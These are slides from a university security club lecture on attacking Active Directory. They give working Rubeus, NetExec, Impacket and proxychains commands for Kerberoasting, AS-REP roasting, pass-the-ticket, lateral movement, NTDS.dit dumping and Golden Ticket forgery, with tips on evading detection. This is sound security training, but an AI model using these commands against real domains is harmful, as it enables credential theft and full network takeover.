SIGPwny

FA2024 Week 07 • 2024-10-15

Active Directory I

Ronan Boyarski

Table of Contents

- Active Directory Overview
  - How does it work
  - Why it's a good target
  - Domain Controllers
  - Kerberos basics
- Attacks
  - Enumeration (manual & automated)
  - Kerberoasting & AS-REProasting
  - Pass-the-hash review & variations
  - Alternate lateral movement techniques (& brief proxychains tutorial)
  - Domain dominance - Golden Tickets & NTDS.dit

Active Directory Overview

What is Active Directory?

- Basically a system for a bunch of computers to interact with one another in a work setting with configurable privileges and remote access
- Machines will be joined to an Active Directory Domain (e.g. UOFI)
- Each domain will have a Domain Controller
- It's also possible to have parent/child domains and other Forests
  - Crossing domains is not a security boundary but crossing Forests is

What is Active Directory?

- Active Directory is very permissive by default and changes some default settings to allow additional remote access
- This is by design. We can focus on targeting features of Active Directory and attacking misconfigurations to abuse trust relationships rather than traditional vulnerabilities
- All of the user credentials are usually stored on the Domain Controller in a database called NTDS.dit
- You can log in to other domain-joined computers using NTLM (remember Pass-the-Hash from last time!) as well as Kerberos

Why target Active Directory?

- Something like >95% of the Fortune 500 use Active Directory
- Permissive by default and extremely difficult to configure securely
- Tons of niche or poorly documented features that are often misconfigured (ADCS, SCCM)
- You likely don't need ANY vulnerabilities to get domain admin, meaning you can chain a phish or data breach with features to achieve complete compromise
- A domain compromise is game over for defenders and will almost guarantee you access to your objective

Kerberos Overview

- High-level overview: you ask the domain controller for access to a specific service instead of just sending the target machine your NTLM hash
- More concretely, this happens through Ticket Granting Tickets and Ticket Granting Services
  - IIRC we can use TGT to request TGS
- Protocol is very complicated, I don't have it memorized, and you will likely need to look it up yourself if you want the highest possible level of detail
- Kerberos logins are the same level of power as NTLM logins

Enumeration

Enumerating Active Directory

- As always, there's a trade off between stealth (manual) and speed (automated)
- For manual, you're going to want something like SharpView, which is a C# port of most of PowerView's functionality
- Almost all of these are going to be running LDAP queries to the domain controller under the hood
- For SharpView, you will be running them as-needed, while BloodHound will run everything you would ever need all at once

SharpView Cheat Sheet

Command	Description
Get-Domain	Returns information about the current domain or the domain specified with -Domain
Get-DomainController	Returns information about the domain controller for the current or specified domain
Get-ForestDomain	Returns all domains for the current or specified forest
Get-DomainPolicyData	Returns the default domain policy, which can reveal things like the password policy
Get-DomainUser	Returns all users in the domain
Get-DomainComputer	Returns all computers in the domain
Get-DomainOU	Search for all Organizational Units or specific ones
Get-DomainGroup	Returns all groups on the domain
Get-DomainGroupMember	Returns all members of a given group on the domain
Get-DomainGPO	Returns all GPO objects on the domain
Get-DomainGPOLocalGroup	Returns all GPOs that modify local group membership through restricted groups or group policy preferences.
Get-DomainGPOUserLocalGroupMapping	This enumerates the machines where a specific domain user / group is a member of a specific local group. This can be used to cross reference to find administrative privileges.
Get-DomainTrust	Returns all domain trusts for the current or specified domain

BloodHound

- If stealth is not a concern and you just want to own stuff fast, you can use a BloodHound ingestor called SharpHound
- You'll want to install the latest BloodHound Community Edition and not the legacy version (also note that legacy ingestors will not work with BloodHound CE)
- This will drop an encrypted zip of domain information. Download it to your Kali machine, decrypt, unzip, and send the JSON files to the web platform for ingest
- Upon completion, you will have a visualization of the domain that you can **use to pathfind your way to privilege escalation**

Practical Usage

- From a Windows C2 session, just use *execute-assembly* or *inline-execute-assembly*
- SharpView
  - `inline-execute-assembly SharpView.exe Get-Domain`
- BloodHound
  - `execute-assembly SharpHound4.exe -c all`
- If you're a gangster you can memorize the LDAP syntax and use LDAPsearch or ADsearch

Attacking Kerberos

Kerberoasting

- Any user object configured with an SPN can have its TGS requested by any other user in the domain
- Kerberos as a protocol encrypts a timestamp with a user's password hash, meaning we can request the TGS and then crack it to **obtain the password of the user account associated with it**
- For most Kerberos abuses, the weapon of choice will be Rubeus.exe
  - `execute-assembly Rubeus.exe kerberoast /nowrap`

AS-REP Roasting

- Authentication Server REsPonse Roasting
- This is a similar idea, but actually comes from a different misconfiguration and targets something else
- If a user has DONT_REQUIRE_PREAUTH set, we can request their AS-REP ticket and crack it to get their password
  - `execute-assembly Rubeus.exe asreproast /nowrap`

OPSEC Warning

- Kerberoasting will generate a 4769 event, which is normal for requesting TGS
  - However, a skilled defender could create a honeypot and monitor for 4769 events, so if stealth is a priority, enumerate first, and kerberoast targets one-by-one
- AS-REP roasting will generate a 4768 event with an RC4 (!!!) encryption type and a preauth type of zero
  - There are some instances where RC4 is acceptable, but you generally want to be using AES256 whenever appropriate (mismatching encryption types stick out from normal activity)

Credential Usage Techniques

Pass-the-Hash & Similar

- Sometimes instead of NTLM hashes we will have Kerberos credentials, which we can use with Pass-the-Ticket
  - This can be done with Rubeus (on target) or with Impacket (remote)

```
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe
createnetonly /program:C:\Windows\System32\cmd.exe
/domain:dev.cyberbotic.io /username:bfarmer /password:FakePass123
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe ptt
/luid:0x798c2c /ticket:doIFuj[...snip...]lDLklP
```

  - For impacket, you store the ticket in a .ccache file

```
KRB5CCNAME=Administrator.ccache proxychains impacket-smbexec
Administrator@dc01.corp.local -k -no-pass
```

Overpass the Hash

- This is a technique where we use a user's NTLM hash to request a Kerberos ticket
  - `execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:jking /ntlm:59fc0f884922b4ce376051134c71e22c /nowrap`
- **OPSEC WARNING**
  - This does RC4 which is a legacy encryption type. Use AES256
  - `execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:jking /aes256:4a8a74daad837ae09e9ecc8c2f1b89f960188cb934db6d4bbebade8318ae57c6 /nowrap`

OPSEC Considerations

- Rubeus will make a request with **randomly generated domain info** if it is not specified. You must specify this. It is trivial to identify ticket requests that go out to something like AqMvbnZ.local
- If your process shouldn't be making Kerberos requests (and you have Rubeus injected into it), you will generate an event for "**Kerberos activity from an anomalous process**". If you instead use Mimikatz, you will touch LSASS, which is even worse.

Token Stealing

- Windows access tokens also can provide access over domain and network resources if your user is appropriately privileged
- If we have access as a user or SYSTEM privileges, we can read all of the local tokens and steal them for our own uses (this is stealthier than previous techniques)
- Syntax varies by C2 framework, but usage usually boils down to:
  - list tokens
  - steal one
  - do bad guy stuff
  - rev2self (revert to your original token)

Lateral Movement Revisited

RCE as a feature!

- PSEXEC works great, but it's noisy as hell and requires local admin on target
- A more modern alternative would be SMBEXEC
- If the target has RPC enabled, we can use SCSHELL, which is (to my knowledge) the stealthiest lateral movement technique
- If the target has WinRM enabled, we can use WinRM to run PowerShell
- There are also other methods, including WMI, DCOM, and AT

RCE as a feature!

- Practical usage: NetExec
  - nxc smb -u Administrator -p 'Password123!' -x whoami
  - nxc winrm -u Administrator -p 'Password123!' -X whoami
- Practical usage: Impacket
  - impacket-smbexec Administrator:'Password123!'@fs.corp.local
  - impacket-wmiexec Administrator:'Password123!'@fs.corp.local whoami
  - Same goes for impacket-atexec and impacket-wmiexec
- If you're a real one, you can use the impacket library and write your own lateral movement techniques instead of just copying from their examples

Proxychains

- Odds are you won't be able to directly reach the target
- Proxychains and a SOCKS5 proxy allows us to use a compromised machine and route our traffic through it seamlessly
- When you get a C2 session, it's usually as easy as hopping on the machine you want to pivot from and running something like `'socks5 start'`
- On Kali, make sure that your /etc/proxychains.conf matches, and then just prepend **proxychains** to your commands

```
proxychains impacket-psexec Administrator@fs.corp.local
```

Basic Domain Dominance

Domain Dominance

- Scenario: you've compromised a Domain Admin account and are now ready to own all the things
- First step: use your credentials to dump the Domain Controller's NTDS.dit remotely
  - You can do this with NetExec, or hop on your C2 and do a hashdump
  - Sometimes you will be restricted to accessing one at a time
- Next, take the KRBTGT NTLM hash and use it to forge a Golden Ticket

Golden Tickets

- It's what it sounds like - a magical skeleton key that lets you log into anywhere in the domain with all of the privileges, and, by default, *it works forever* (KRBTGT password is not rotated)
- Once generated, just pass-the-ticket with Rubeus or Impacket
- Make sure to specify the Domain SID (use SharpView etc.)

```
Rubeus.exe golden /aes256:51d7…4e7e /user:nlamb /domain:dev.cyberbotic.io
/sid:S-1-5-21-569305411-121244042-2357301523 /nowrap
```

```
execute-assembly Rubeus.exe createnetonly
/program:C:\Windows\System32\cmd.exe /domain:DEV /username:nlamb
/password:FakePass /ticket:doIFLz[...snip...]MuaW8
```

Domain Dominance

- This is just the tip of the iceberg, it only gets worse than this
- Often times, acquiring domain admin means that recovering the domain for the defense will require a full domain rebuild, and you will have power over everything in the domain
- Getting domain admin is usually the last step before you can start actually acting on your objectives
- Try to avoid clown techniques like creating new domain admins unless it is absolutely necessary

Review

- This is only the most basic of AD attacks, you can find more from the 5 eyes guide linked in the training resources
- Don't forget that we can chain these with other Windows vulnerabilities (for example, chaining certain AD authentication methods with printer bug and hash relaying can have **disastrous** consequences)
- While you're learning, lean heavily on BloodHound, but also do manual as well so you can see what manual query corresponds to what relationship in BloodHound
- There are tons of AD practice resources out there!

Next Meetings

`2024-10-17` • **This Thursday**

- Sysadmin for Active Directory

`2024-10-22` • **Next Tuesday**

- Active Directory II
- Learn to exploit ACLs, chain domain compromises, and more!

`2024-10-24` • **Next Thursday**

- Running services securely